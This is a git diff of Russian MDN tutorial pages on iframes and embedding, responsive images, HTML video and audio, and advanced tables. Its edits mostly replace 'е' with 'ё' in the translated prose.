        Используйте только при необходимости
        
 
@@ -237,8 +237,8 @@ textarea.onkeyup = function(){
 
        {{Glossary("HTTPS")}} это зашифрованная версия {{Glossary("HTTP")}}. Вы должны обслуживать свои веб-сайты, используя HTTPS, всегда, когда это возможно :
        
 
 
          
- 
        1. HTTPS уменьшает вероятность того, что контент был изменен по пути;
          2. 
- 
        2. HTTPS запрещает доступ внедренного контента к контенту в вашем исходном документе и наоборот.
          3. 
+ 
        3. HTTPS уменьшает вероятность того, что контент был изменён по пути;
          4. 
+ 
        4. HTTPS запрещает доступ внедрённого контента к контенту в вашем исходном документе и наоборот.
          5. 
 
        
 
 
        Использование HTTPS требует сертификат безопасности, что может обходиться в копеечку (хотя есть Let's Encrypt, что облегчает задачу). Если вы не можете его получить, вы можете отдавать свой родительский документ с помощью HTTP. Однако, из-за второго преимущества HTTPS во что бы то ни стало вы не должны внедрять сторонний контент с HTTP. (В лучшем случае ваш браузер выдаст угрожающее предупреждение.) Все уважаемые компании, которые делают контент доступным для внедрения через <iframe>, доступны через HTTPS - посмотрите URL-адреса внутри <iframe> src при встраивании, например, содержимого из Карт Google или Youtube.
        
@@ -256,7 +256,7 @@ textarea.onkeyup = function(){
 
        Если это необходимо, вы можете добавлять разрешения один за другим (внутри значения атрибута sandbox="") — смотри {{htmlattrxref('sandbox','iframe')}} ссылка для всех доступных опций. Важно отметить, что вы никогда не должны добавлять атрибуты allow-scripts и allow-same-origin в свой sandbox атрибут одновременно — в таком случае, встроенный контент может обходить политику безопасности, которая запрещает сайтам выполнять скрипты и использовать JavaScript для отключения "песочницы" sandbox .
        
 
 
        
-
        Примечание. "Песочница" не обеспечивает защиту, если злоумышленники могут обманывать людей через прямое посещение вредоносного контента (вне iframe). Если есть вероятность, что определенный контент может быть вредоносным (например, созданный пользователями контент), пожалуйста, используйте его из другого {{glossary("domain")}} на ваш основной сайт.
        
+
        Примечание. "Песочница" не обеспечивает защиту, если злоумышленники могут обманывать людей через прямое посещение вредоносного контента (вне iframe). Если есть вероятность, что определённый контент может быть вредоносным (например, созданный пользователями контент), пожалуйста, используйте его из другого {{glossary("domain")}} на ваш основной сайт.
        
 
        
 
 
        Настройка директив CSP
        
@@ -275,7 +275,7 @@ textarea.onkeyup = function(){
 
        Примечание. Плагин - это программное обеспечение, обеспечивающее доступ к контенту, который браузер не может читать изначально.
        
 
 
-
        Тем не менее, вы вряд ли будете использовать эти элементы очень часто. Апплеты не использовались годами, Flash в настоящее время не очень популярен из-за ряда причин (см. {{Anch ("Случай с плагинами")}}, ниже), PDF-файлы, как правило, лучше открывать по ссылке, а другой контент - такой, как изображения и видео, могут обрабатываться намного проще. Плагины и эти методы внедрения действительно являются устаревшими технологиями, и мы упоминаем их здесь на случай, если вы столкнетесь с ними в определенных обстоятельствах, таких как интрасети или корпоративные проекты.
        
+
        Тем не менее, вы вряд ли будете использовать эти элементы очень часто. Апплеты не использовались годами, Flash в настоящее время не очень популярен из-за ряда причин (см. {{Anch ("Случай с плагинами")}}, ниже), PDF-файлы, как правило, лучше открывать по ссылке, а другой контент - такой, как изображения и видео, могут обрабатываться намного проще. Плагины и эти методы внедрения действительно являются устаревшими технологиями, и мы упоминаем их здесь на случай, если вы столкнётесь с ними в определённых обстоятельствах, таких как интрасети или корпоративные проекты.
        
 
 
        Если вам нужно внедрить контент плагина, ниже исчерпывающая информация, которая вам понадобится:
        
 
@@ -343,7 +343,7 @@ textarea.onkeyup = function(){
 
 
        Дело против плагинов
        
 
-
        Когда-то плагины были незаменимы в Интернете. Помните дни, когда вам приходилось устанавливать Adobe Flash Player для просмотра онлайн-фильма? И потом постоянно возникали раздражающие предупреждения об обновлении Flash Player и Java Runtime Environment. С тех пор веб-технологии стали намного надежнее. Почти всем сервисам пришло время прекратить доставлять контент с помощью плагинов и вместо этого использовать веб-технологии.
        
+
        Когда-то плагины были незаменимы в Интернете. Помните дни, когда вам приходилось устанавливать Adobe Flash Player для просмотра онлайн-фильма? И потом постоянно возникали раздражающие предупреждения об обновлении Flash Player и Java Runtime Environment. С тех пор веб-технологии стали намного надёжнее. Почти всем сервисам пришло время прекратить доставлять контент с помощью плагинов и вместо этого использовать веб-технологии.
        
 
 
          
  
        • Расширьте свою досягаемость для всех. У каждого есть браузер, но плагины используются все реже, особенно среди мобильных пользователей. Поскольку Web в значительной степени можно использовать без плагинов, люди предпочли бы просто перейти на сайты ваших конкурентов, чем установить плагин.
          • 
@@ -355,7 +355,7 @@ textarea.onkeyup = function(){
 
 
          Заключение
          
 
-
          Тема встраивания другого контента в веб-документы поначалу может показаться очень сложной для понимания, поэтому в этой статье мы попытались представить ее простым, знакомым способом, который сразу же станет актуальным, но все же намекает на некоторые из более сложных функций вовлеченных технологий. Начнем с того, что вы вряд ли будете использовать большое количество встраивании стороннего контента, помимо встроенных карт и видео на своих страницах.
          
+
          Тема встраивания другого контента в веб-документы поначалу может показаться очень сложной для понимания, поэтому в этой статье мы попытались представить её простым, знакомым способом, который сразу же станет актуальным, но все же намекает на некоторые из более сложных функций вовлечённых технологий. Начнём с того, что вы вряд ли будете использовать большое количество встраивании стороннего контента, помимо встроенных карт и видео на своих страницах.
          
 
 
          Существует много других технологий, которые включают в себя внедрение внешнего контента, помимо тех, которые мы обсуждали здесь. Мы видели некоторые из ранних статей, например {{htmlelement ("video")}}, {{htmlelement ("audio")}} и {{htmlelement ("img")}}, но есть и другие. Например, {{htmlelement ("canvas")}} для 2D-и 3D-графики, сгенерированной JavaScript, и {{SVGElement ("svg")}} для встраивания векторной графики. Мы рассмотрим SVG в следующей статье модуля.
          
 
diff --git a/files/ru/learn/html/multimedia_and_embedding/responsive_images/index.html b/files/ru/learn/html/multimedia_and_embedding/responsive_images/index.html
index 654c0496b0..3f4ad83e69 100644
--- a/files/ru/learn/html/multimedia_and_embedding/responsive_images/index.html
+++ b/files/ru/learn/html/multimedia_and_embedding/responsive_images/index.html
@@ -33,7 +33,7 @@ translation_of: Learn/HTML/Multimedia_and_embedding/Responsive_images
 
          Такая вёрстка хорошо выглядит на широкоформатных экранах ноутбуков и настольных ПК, (вы можете посмотреть посмотреть демо-пример и найти исходный код на Github.) Мы не будем подробно рассматривать CSS, скажем только следующее:
          
 
 
            
- 
          • Содержимому тега main задана максимальная ширина 1200 пикселей. Если окно браузера выше этой ширины, то содержимое сайта остается на 1200 пикселей и центрирует себя в доступном пространстве. Если окно браузера ниже этой ширины, содержимое устанавливается в 100% от ширины экрана.
            • 
+ 
          • Содержимому тега main задана максимальная ширина 1200 пикселей. Если окно браузера выше этой ширины, то содержимое сайта остаётся на 1200 пикселей и центрирует себя в доступном пространстве. Если окно браузера ниже этой ширины, содержимое устанавливается в 100% от ширины экрана.
            • 
  
          • Изображение в шапке всегда будет оставаться в центре тега header вне зависимости от ширины браузера. Если сайт будет просматриваться на узких экранах, то важные детали в центре изображения (люди) все равно будут видны. Все, что выходит за пределы ширины экрана будет скрыто. Высота шапки 200 пикселей.
            • 
  
          • Изображения в содержимом заданы так, что если ширина body становится меньше чем ширина изображения, то изображения начинают сжиматься и остаются всегда внутри body и не выступают за его пределы.
            • 
 
          
@@ -46,7 +46,7 @@ translation_of: Learn/HTML/Multimedia_and_embedding/Responsive_images
 
 
          Кроме того, нет нужды встраивать такие большие изображения на страницу, если она просматривается на маленьком экране мобильного устройства; это называется resolution switching problem — растровое изображение представляет собой точно-заданное количество пикселей по ширине и высоте; как мы успели заметить, когда рассматривали векторную графику, растровое изображение становится зернистым и выглядит ужасно, если оно отображается в размере большем, чем оригинальный (тогда как векторное изображение нет). В то же время, если изображение отображается в гораздо меньшем размере, чем оригинальный, это приведёт к напрасной трате трафика — пользователи мобильных устройств будут грузить большое изображение для компьютера, вместо маленького для их устройства. Идеально было бы иметь несколько файлов в разных разрешениях, и отображать нужный размер в зависимости от устройства, обращающегося к веб-сайту.
          
 
-
          Сложность в том, что для некоторых устройств с большим разрешением экрана нужны изображения большего чем ожидается размера, чтобы четче отображалось. По сути это всё одна задача в разных условиях.
          
+
          Сложность в том, что для некоторых устройств с большим разрешением экрана нужны изображения большего чем ожидается размера, чтобы чётче отображалось. По сути это всё одна задача в разных условиях.
          
 
 
          Можно предположить, что векторные изображения могли бы решить эти проблемы. В какой-то степени это так. У них небольшой вес и размер, поэтому их можно использовать почти в любом случае. Они хороши для простой графики, узоров, элементов интерфейса и т. д. Сложнее создать векторное изображение с большим количеством деталей, как, например, на фото. Растровые изображения (JPEG) для нашего примера подходят больше. 
          
 
@@ -143,7 +143,7 @@ translation_of: Learn/HTML/Multimedia_and_embedding/Responsive_images
   width: 320px;
 }
        -

        В этом случае, нет необходимости в sizes — браузер просто определяет в каком разрешении отображает дисплей и выводит наиболее подходящее изображение в соответствии с srcset. Таким образом, если устройство, подключаемое к странице, имеет дисплей стандартного/низкого разрешения, когда один пиксель устройства представляет (соответствует) каждый CSS-пиксель, то будет загружено изображение elva-fairy-320w.jpg (применен x1, то есть вам не надо включать его). Если устройство имеет высокое разрешение, в два пикселя устройства на каждый CSS-пиксель или более, то будет загружено изображение elva-fairy-640w.jpg. 640px изображение имеет размер 93KB, тогда так 320px изображение - всего 39KB.

        +

        В этом случае, нет необходимости в sizes — браузер просто определяет в каком разрешении отображает дисплей и выводит наиболее подходящее изображение в соответствии с srcset. Таким образом, если устройство, подключаемое к странице, имеет дисплей стандартного/низкого разрешения, когда один пиксель устройства представляет (соответствует) каждый CSS-пиксель, то будет загружено изображение elva-fairy-320w.jpg (применён x1, то есть вам не надо включать его). Если устройство имеет высокое разрешение, в два пикселя устройства на каждый CSS-пиксель или более, то будет загружено изображение elva-fairy-640w.jpg. 640px изображение имеет размер 93KB, тогда так 320px изображение - всего 39KB.

        Художественное оформление

        @@ -153,7 +153,7 @@ translation_of: Learn/HTML/Multimedia_and_embedding/Responsive_images 
        <img src="elva-800w.jpg" alt="Chris standing up holding his daughter Elva">
        -

        Давайте исправим это при помощи элемента {{htmlelement("picture")}}! Так же как <video> и <audio>, элемент <picture> это обертка содержащая некоторое количество элементов {{htmlelement("source")}} которые предоставляют браузеру выбор нескольких разных источников, в сопровождении крайне важного элемента {{htmlelement("img")}}. Код responsive.html выглядит так:

        +

        Давайте исправим это при помощи элемента {{htmlelement("picture")}}! Так же как <video> и <audio>, элемент <picture> это обёртка содержащая некоторое количество элементов {{htmlelement("source")}} которые предоставляют браузеру выбор нескольких разных источников, в сопровождении крайне важного элемента {{htmlelement("img")}}. Код responsive.html выглядит так:

        <picture>
   <source media="(max-width: 799px)" srcset="elva-480w-close-portrait.jpg">
@@ -164,7 +164,7 @@ translation_of: Learn/HTML/Multimedia_and_embedding/Responsive_images
 
 
          
  
        • Элемент <source> принимает атрибут media, который содержит медиа-условие; при помощи этих условий определяется, какое изображение будет выведено. В данном случае, если ширина viewport'a составит 799px или меньше, будет выведено изображение первого элемента <source>. Если ширина составит 800px и более — второго.
          • 
- 
        • Атрибут srcset содержит путь изображения, которое будет выведено. Обратите внимание, что, как и в примере с <img> выше, <source> может принимать атрибуты srcset и sizes с несколько предопределенными изображениями. Так вы можете не только поместить группу изображений внутри элемента <picture>, но и задать группу предписаний для каждого из них. В реальности вы вряд ли захотите заниматься этим очень часто.
          • 
+ 
        • Атрибут srcset содержит путь изображения, которое будет выведено. Обратите внимание, что, как и в примере с <img> выше, <source> может принимать атрибуты srcset и sizes с несколько предопределёнными изображениями. Так вы можете не только поместить группу изображений внутри элемента <picture>, но и задать группу предписаний для каждого из них. В реальности вы вряд ли захотите заниматься этим очень часто.
          • 
  
        • Вы всегда должны использовать элемент <img>, с src и alt, прямо перед </picture>, иначе изображения не появятся. Это нужно на тот случай, когда ни одно из медиа-условий не удовлетворено (например, если бы вы убрали второй элемент <source>) или браузер не поддерживает элемент <picture>.
          • 
 
        
 
@@ -185,7 +185,7 @@ translation_of: Learn/HTML/Multimedia_and_embedding/Responsive_images
 
 
        Смело используйте современные форматы изображений
        
 
-
        Есть несколько новых форматов изображения (таких, как WebP и JPEG-2000), которым удается сохранять высокое качество при малом размере файла. Тем не менее, браузеры поддерживают их не полностью.
        
+
        Есть несколько новых форматов изображения (таких, как WebP и JPEG-2000), которым удаётся сохранять высокое качество при малом размере файла. Тем не менее, браузеры поддерживают их не полностью.
        
 
 
        <picture> позволяет нам использовать их в старых браузерах. Вы можете прописать MIME-тип внутри атрибута type, браузер сразу определит файлы такого типа как неподдерживаемые:
        
 
diff --git a/files/ru/learn/html/multimedia_and_embedding/video_and_audio_content/index.html b/files/ru/learn/html/multimedia_and_embedding/video_and_audio_content/index.html
index d37ae96622..c6cf6331fd 100644
--- a/files/ru/learn/html/multimedia_and_embedding/video_and_audio_content/index.html
+++ b/files/ru/learn/html/multimedia_and_embedding/video_and_audio_content/index.html
@@ -61,7 +61,7 @@ translation_of: Learn/HTML/Multimedia_and_embedding/Video_and_audio_content
 
 
        Поддержка нескольких форматов
        
 
-
        Присутствует одна проблема с приведенным выше примером, которую вы, возможно, уже заметили, если пытались получить доступ к прямой ссылке выше с помощью браузера, такого как Safari или Internet Explorer. Видео не будет воспроизводиться!
        
+
        Присутствует одна проблема с приведённым выше примером, которую вы, возможно, уже заметили, если пытались получить доступ к прямой ссылке выше с помощью браузера, такого как Safari или Internet Explorer. Видео не будет воспроизводиться!
        
 
 
        Давайте кратко рассмотрим терминологию. Форматы, такие как MP3, MP4 и WebM, называются форматами контейнеров. Они содержат различные части, которые составляют всю песню или видео — например, звуковую дорожку, видеодорожку (в случае видео) и метаданные для описания представленного носителя.
        
 
@@ -75,15 +75,15 @@ translation_of: Learn/HTML/Multimedia_and_embedding/Video_and_audio_content
  
      • Более старый контейнер Ogg имеет тенденцию идти с аудио Ogg Vorbis и видео Ogg Theora. Поддерживалось главным образом в Firefox и Chrome, но было вытеснено более качественным форматом WebM.
        •
      -

      Есть несколько особых случаев. Например, для некоторых типов аудио данные кодека часто хранятся без контейнера или с упрощенным контейнером. Одним из таких примеров является кодек FLAC, который чаще всего хранится в файлах FLAC, которые представляют собой просто необработанные дорожки FLAC.

      +

      Есть несколько особых случаев. Например, для некоторых типов аудио данные кодека часто хранятся без контейнера или с упрощённым контейнером. Одним из таких примеров является кодек FLAC, который чаще всего хранится в файлах FLAC, которые представляют собой просто необработанные дорожки FLAC.

      -

      Еще одна такая ситуация - всегда популярный файл MP3. «Файл MP3» на самом деле является звуковой дорожкой MPEG-1 Audio Layer III (MP3), хранящейся в контейнере MPEG или MPEG-2. Это особенно интересно, поскольку, хотя большинство браузеров не поддерживают использование мультимедиа MPEG в элементах {{HTMLElement ("video")}} и {{HTMLElement ("audio")}}, они могут поддерживать MP3 из-за его популярности.

      +

      Ещё одна такая ситуация - всегда популярный файл MP3. «Файл MP3» на самом деле является звуковой дорожкой MPEG-1 Audio Layer III (MP3), хранящейся в контейнере MPEG или MPEG-2. Это особенно интересно, поскольку, хотя большинство браузеров не поддерживают использование мультимедиа MPEG в элементах {{HTMLElement ("video")}} и {{HTMLElement ("audio")}}, они могут поддерживать MP3 из-за его популярности.

      Аудиоплеер обычно воспроизводит аудиодорожку напрямую, например файл MP3 или Ogg. Для этого не нужны контейнеры.

      Поддержка медиафайлов в браузерах

      -

      Вышеупомянутые форматы существуют для сжатия видео и аудио в управляемые файлы (необработанные видео и аудио очень большие). Браузеры содержат разные {{Glossary("Codec","кодеки")}}, вроде Vorbis или H.264, которые используются для преобразования сжатого звука и видео в бинарные данные и обратно. Каждый кодек имеет свои преимущества и недостатки, и каждый контейнер может также предлагать свои собственные положительные и отрицательные особенности, влияющие на ваше решение о том, какой из них использовать. Как указано выше, браузеры, к сожалению, не поддерживают одни и те же кодеки, поэтому вам придется предоставить несколько файлов для каждого медиа-продукта. Если вам не хватает правильного кодека для декодирования контента, он просто не сможет воспроизводиться.

      +

      Вышеупомянутые форматы существуют для сжатия видео и аудио в управляемые файлы (необработанные видео и аудио очень большие). Браузеры содержат разные {{Glossary("Codec","кодеки")}}, вроде Vorbis или H.264, которые используются для преобразования сжатого звука и видео в бинарные данные и обратно. Каждый кодек имеет свои преимущества и недостатки, и каждый контейнер может также предлагать свои собственные положительные и отрицательные особенности, влияющие на ваше решение о том, какой из них использовать. Как указано выше, браузеры, к сожалению, не поддерживают одни и те же кодеки, поэтому вам придётся предоставить несколько файлов для каждого медиа-продукта. Если вам не хватает правильного кодека для декодирования контента, он просто не сможет воспроизводиться.

      Примечание: Возможно, вам интересно, как сложилась такая ситуация. MP3 (для аудио) и MP4/H.264 (для видео) широко поддерживаются и имеют высокое качество. В то же время, они защищены патентами — американские патенты охватывают MP3 по крайней мере до 2017 года и H.264 самое меньшее до 2027 года,  так что браузеры, которые не являются держателями этих патентов, должны платить огромные суммы денег для поддержки этих форматов. Кроме того, многие люди избегают несвободного программного обеспечения в принципе, предпочитая открытые форматы. Вот почему мы должны предоставить несколько форматов для разных браузеров.

      @@ -93,9 +93,9 @@ translation_of: Learn/HTML/Multimedia_and_embedding/Video_and_audio_content

      Из-за сложности обеспечения возможности просмотра мультимедийных файлов вашего приложения в любой комбинации браузеров, платформ и устройств, которые вы хотите использовать, выбор наилучшего сочетания кодеков и контейнера может оказаться сложной задачей. Смотрите выбор подходящего контейнера для получения помощи по выбору формата файла контейнера, наиболее подходящего для ваших нужд; аналогичным образом смотрите выбор видеокодека и выбор аудиокодека для помощи в выборе первых медиакодеков, которые будут использоваться для вашего контента и вашей целевой аудитории.

      -

      Еще одна вещь, о которой следует помнить: мобильные браузеры могут поддерживать дополнительные форматы, не поддерживаемые их настольными эквивалентами, точно так же, как они могут не поддерживать все те же форматы, что и настольная версия. Вдобавок ко всему, как настольные, так и мобильные браузеры могут быть спроектированы так, чтобы разгрузить обработку воспроизведения мультимедиа (либо для всех мультимедиа, либо только для определенных типов, которые он не может обрабатывать внутренне). Это означает, что поддержка мультимедиа частично зависит от того, какое программное обеспечение установил пользователь.

      +

      Ещё одна вещь, о которой следует помнить: мобильные браузеры могут поддерживать дополнительные форматы, не поддерживаемые их настольными эквивалентами, точно так же, как они могут не поддерживать все те же форматы, что и настольная версия. Вдобавок ко всему, как настольные, так и мобильные браузеры могут быть спроектированы так, чтобы разгрузить обработку воспроизведения мультимедиа (либо для всех мультимедиа, либо только для определённых типов, которые он не может обрабатывать внутренне). Это означает, что поддержка мультимедиа частично зависит от того, какое программное обеспечение установил пользователь.

      -

      Так как мы это сделаем? Взгляните на следующий обновленный пример (и попробуйте живой пример):

      +

      Так как мы это сделаем? Взгляните на следующий обновлённый пример (и попробуйте живой пример):

      <video controls>
   <source src="rabbit320.mp4" type="video/mp4">
@@ -103,12 +103,12 @@ translation_of: Learn/HTML/Multimedia_and_embedding/Video_and_audio_content
   <p>Ваш браузер не поддерживает HTML5 видео. Вот <a href="rabbit320.mp4">ссылка на видео</a> взамен.</p>
 </video>
      -

      Здесь мы изъяли атрибут src  из нашего тега <video>, и вместо этого включали отдельные  элементы {{htmlelement("source")}}, каждый из которых ссылается на собственный источник. В этом случае браузер пройдется по элементам <source> и начнёт воспроизводить первый из них, который имеет поддерживаемый кодек. Включение источников WebM и MP4 должно быть достаточно для воспроизведения вашего видео на большинстве платформ и браузеров в наши дни.

      +

      Здесь мы изъяли атрибут src  из нашего тега <video>, и вместо этого включали отдельные  элементы {{htmlelement("source")}}, каждый из которых ссылается на собственный источник. В этом случае браузер пройдётся по элементам <source> и начнёт воспроизводить первый из них, который имеет поддерживаемый кодек. Включение источников WebM и MP4 должно быть достаточно для воспроизведения вашего видео на большинстве платформ и браузеров в наши дни.

      -

      Каждый элемент <source> также имеет атрибут type. Он не обязательный, но рекомендуется его включать — он содержит {{glossary("MIME type","MIME types")}} видеофайла, браузеры могут прочитать их и сразу же пропустить видео, которые они не понимают. Если type не включен, браузеры загружают и пытаются воспроизвести каждый файл до тех пор, пока не найдут тот, который будет работать, затрачивая больше времени и ресурсов.

      +

      Каждый элемент <source> также имеет атрибут type. Он не обязательный, но рекомендуется его включать — он содержит {{glossary("MIME type","MIME types")}} видеофайла, браузеры могут прочитать их и сразу же пропустить видео, которые они не понимают. Если type не включён, браузеры загружают и пытаются воспроизвести каждый файл до тех пор, пока не найдут тот, который будет работать, затрачивая больше времени и ресурсов.

      -

      Примечание: Наша статья о поддерживаемых медиаформатах описывает некоторые распространенные {{glossary("MIME type","MIME types")}}.

      +

      Примечание: Наша статья о поддерживаемых медиаформатах описывает некоторые распространённые {{glossary("MIME type","MIME types")}}.

      Другие параметры <video>

      @@ -136,12 +136,12 @@ translation_of: Learn/HTML/Multimedia_and_embedding/Video_and_audio_content
      {{htmlattrxref("loop","video")}}
      Этот атрибут позволяет воспроизводить видео (или аудио) снова, когда он заканчивается. Это также может раздражать, поэтому используйте тогда, когда это действительно необходимо.
      {{htmlattrxref("muted","video")}}
      -
      Этот атрибут заставляет проигрыватель воспроизводить звук, отключенный по умолчанию.
      +
      Этот атрибут заставляет проигрыватель воспроизводить звук, отключённый по умолчанию.
      {{htmlattrxref("poster","video")}}
      Этот атрибут принимает в качестве значения URL-адрес изображения, который будет отображаться до воспроизведения видео. Он предназначен для заставки к видео или рекламы.
      {{htmlattrxref("preload","video")}}
      -

      этот атрибут используется в элементе для буферизации больших файлов. Он может принимать одно из трех значений:

      +

      этот атрибут используется в элементе для буферизации больших файлов. Он может принимать одно из трёх значений:

      • "none" не буферизирует файл
        • @@ -151,7 +151,7 @@ translation_of: Learn/HTML/Multimedia_and_embedding/Video_and_audio_content
      -

      Вы можете найти приведенный выше пример для воспроизведения на Github (также просмотрите исходный код.) Обратите внимание, что мы не включили атрибут autoplay в live-версию - если видео начнет воспроизводиться, как только страница загрузится, вы не увидите заставку к видео!

      +

      Вы можете найти приведённый выше пример для воспроизведения на Github (также просмотрите исходный код.) Обратите внимание, что мы не включили атрибут autoplay в live-версию - если видео начнёт воспроизводиться, как только страница загрузится, вы не увидите заставку к видео!

      Элемент <audio> 

      @@ -178,11 +178,11 @@ translation_of: Learn/HTML/Multimedia_and_embedding/Video_and_audio_content
    • Он также не поддерживает атрибут​​​​​ poster опять же, из-за отсутствия визуального компонента. 
    -

    Помимо этого, <audio> поддерживает все те же функции, что и <video> - просмотрите приведенные выше разделы для получения дополнительной информации о них.

    +

    Помимо этого, <audio> поддерживает все те же функции, что и <video> - просмотрите приведённые выше разделы для получения дополнительной информации о них.

    Отображение текстовых дорожек к видео

    -

    Теперь мы обсудим немного более продвинутую концепцию, о которой очень полезно знать. Многие люди не могут или не хотят слышать аудио или видео контент, который они находят в Интернете, по крайней мере, в определенное время. Например:

    +

    Теперь мы обсудим немного более продвинутую концепцию, о которой очень полезно знать. Многие люди не могут или не хотят слышать аудио или видео контент, который они находят в Интернете, по крайней мере, в определённое время. Например:

    • У многих людей есть слуховые нарушения (более известные как слабослышащие или глухие).
      • @@ -196,11 +196,11 @@ translation_of: Learn/HTML/Multimedia_and_embedding/Video_and_audio_content

      Замечание: "Транскрибировать" значит записывать устную речь в виде текста. Полученный текст представляет собой «стенограмму».

      -

      WebVTT - это формат для записи текстовых файлов, содержащих несколько строк текста, а также метаданные, такие как время, в которое вы хотите отображать каждую текстовую строку, и даже ограниченную информацию о стиле/позиционировании. Эти текстовые строки называются репликами, и вы можете отображать разные типы для разных целей, наиболее распространенными являются:

      +

      WebVTT - это формат для записи текстовых файлов, содержащих несколько строк текста, а также метаданные, такие как время, в которое вы хотите отображать каждую текстовую строку, и даже ограниченную информацию о стиле/позиционировании. Эти текстовые строки называются репликами, и вы можете отображать разные типы для разных целей, наиболее распространёнными являются:

      субтитры
      -
      Переводы иностранного материала, для людей, которые не понимают слов, произнесенных в аудио.
      +
      Переводы иностранного материала, для людей, которые не понимают слов, произнесённых в аудио.
      титры
      Синхронизированные транскрипции диалога или описания значимых звуков, чтобы люди, которые не могут слышать звук, поняли что происходит.
      рассчитанные описания
      @@ -226,7 +226,7 @@ translation_of: Learn/HTML/Multimedia_and_embedding/Video_and_audio_content
      1. Сохраните его как .vtt- файл, в разумном месте.
        2. -
      2. Ссылка на файл .vtt с элементом {{htmlelement ("track")}}. <track> должен быть помещен в <audio> или <video>, но после элементов <source>. Используйте атрибут {{htmlattrxref ("kind", "track")}}, чтобы указать, являются ли реплики субтитрами, титрами или описаниями. Кроме того, используйте {{htmlattrxref ("srclang", "track")}}, чтобы сообщить браузеру, на каком языке вы записывали субтитры.
        3. +
      3. Ссылка на файл .vtt с элементом {{htmlelement ("track")}}. <track> должен быть помещён в <audio> или <video>, но после элементов <source>. Используйте атрибут {{htmlattrxref ("kind", "track")}}, чтобы указать, являются ли реплики субтитрами, титрами или описаниями. Кроме того, используйте {{htmlattrxref ("srclang", "track")}}, чтобы сообщить браузеру, на каком языке вы записывали субтитры.

      Вот пример:

      @@ -238,7 +238,7 @@ translation_of: Learn/HTML/Multimedia_and_embedding/Video_and_audio_content </video> -

      Это приведет к просмотру видео с субтитрами, таким как:

      +

      Это приведёт к просмотру видео с субтитрами, таким как:

      Video player with stand controls such as play, stop, volume, and captions on and off. The video playing shows a scene of a man holding a spear-like weapon, and a caption reads "Esta hoja tiene pasado oscuro."

      @@ -250,7 +250,7 @@ translation_of: Learn/HTML/Multimedia_and_embedding/Video_and_audio_content

      Активное обучение: Внедрение собственного аудио и видео

      -

      Для этого активного обучения мы (в идеале) хотели бы, чтобы вы вышли на улицу и записали некоторые из ваших собственных видео и аудио. Большинство телефонов в наши дни позволяют очень легко записывать аудио и видео, и, если вы можете перенести их на свой компьютер, вы можете их использовать. Возможно, вам придется сделать некоторое преобразование, чтобы в конечном итоге получить WebM и MP4 в случае видео, а также MP3 и Ogg в случае аудио, но есть достаточно программ, чтобы вы могли сделать это без особых проблем, таких как Miro Video Converter и Audacity. Мы хотели бы, чтобы вы попробовали сделать это!

      +

      Для этого активного обучения мы (в идеале) хотели бы, чтобы вы вышли на улицу и записали некоторые из ваших собственных видео и аудио. Большинство телефонов в наши дни позволяют очень легко записывать аудио и видео, и, если вы можете перенести их на свой компьютер, вы можете их использовать. Возможно, вам придётся сделать некоторое преобразование, чтобы в конечном итоге получить WebM и MP4 в случае видео, а также MP3 и Ogg в случае аудио, но есть достаточно программ, чтобы вы могли сделать это без особых проблем, таких как Miro Video Converter и Audacity. Мы хотели бы, чтобы вы попробовали сделать это!

      Если у вас нет какого-либо видео или аудио, вы можете свободно пользоваться нашими образцами аудио и видео файлов для выполнения этого упражнения. Вы также можете использовать наш образец кода для справки.

      diff --git a/files/ru/learn/html/tables/advanced/index.html b/files/ru/learn/html/tables/advanced/index.html index e578557eb7..a98631d064 100644 --- a/files/ru/learn/html/tables/advanced/index.html +++ b/files/ru/learn/html/tables/advanced/index.html @@ -7,7 +7,7 @@ translation_of: Learn/HTML/Tables/Advanced
      {{PreviousMenuNext("Learn/HTML/Tables/Basics", "Learn/HTML/Tables/Structuring_planet_data", "Learn/HTML/Tables")}}
      -

      Во второй статье этого модуля мы рассматриваем еще несколько продвинутых возможностей в HTML таблицах — такие как заголовок/описание и группировка строк внутри head, body и footer секциях таблицы, а также доступность таблиц для пользователей с ограниченными возможностями.

      +

      Во второй статье этого модуля мы рассматриваем ещё несколько продвинутых возможностей в HTML таблицах — такие как заголовок/описание и группировка строк внутри head, body и footer секциях таблицы, а также доступность таблиц для пользователей с ограниченными возможностями.

      @@ -24,7 +24,7 @@ translation_of: Learn/HTML/Tables/Advanced

      Добавление заголовка к таблице с помощью <caption>

      -

      Вы можете добавить заголовок для таблицы установив его в элементе {{htmlelement("caption")}} и этот элемент необходимо поместить внутрь  элемента {{htmlelement("table")}}. Причем вам нужно поместить его сразу после открытия тега <table>.

      +

      Вы можете добавить заголовок для таблицы установив его в элементе {{htmlelement("caption")}} и этот элемент необходимо поместить внутрь  элемента {{htmlelement("table")}}. Причём вам нужно поместить его сразу после открытия тега <table>.

      <table>
   <caption>Dinosaurs in the Jurassic period</caption>
@@ -42,7 +42,7 @@ translation_of: Learn/HTML/Tables/Advanced
 
 
      Упражнение: Добавление заголовка
      
 
-
      Давайте попробуем это, вернемся к примеру который мы ранее встретили в прошлой статье.
      
+
      Давайте попробуем это, вернёмся к примеру который мы ранее встретили в прошлой статье.
      
 
 
        
  
      1. Откройте расписание занятий школьного учителя по языку в конце статьи HTML таблицы основы, или сделайте копию нашего timetable-fixed.html файла.
        2. 
@@ -69,7 +69,7 @@ translation_of: Learn/HTML/Tables/Advanced
 
 
 
        
-
        Примечание: <tbody> всегда включен в каждой таблице, неявно если не укажете его в коде. Проверьте это, открыв один из предыдущих примеров в котором не используется <tbody> и посмотрите HTML код в browser developer tools — вы увидите, что браузер добавил этот тег самостоятельно. Вы могли бы задаться вопросом почему мы должны волноваться о его включении, но вы должны, потому что это дает больше контроля над структурой таблицы и стилем.
        
+
        Примечание: <tbody> всегда включён в каждой таблице, неявно если не укажете его в коде. Проверьте это, открыв один из предыдущих примеров в котором не используется <tbody> и посмотрите HTML код в browser developer tools — вы увидите, что браузер добавил этот тег самостоятельно. Вы могли бы задаться вопросом почему мы должны волноваться о его включении, но вы должны, потому что это даёт больше контроля над структурой таблицы и стилем.
        
 
        
 
 
        Упражнение: Добавление структуры таблицы
        
@@ -93,11 +93,11 @@ tfoot {
 }
      -
    • Сохраните, обновите и вы увидите результат. Если <tbody> и <tfoot> элементы не были установлены, то вам придется писать много сложных селекторов/правил для применения одного и того же стиля.
      • +
    • Сохраните, обновите и вы увидите результат. Если <tbody> и <tfoot> элементы не были установлены, то вам придётся писать много сложных селекторов/правил для применения одного и того же стиля.
      • -

      Примечание: Мы не ожидаем что сейчас вы полностью поймете CSS. Вы узнаете больше когда пройдете наши CSS курсы (например, Вступление в CSS это хорошее место для начала; у нас также есть статья конкретно о стилизации таблиц).

      +

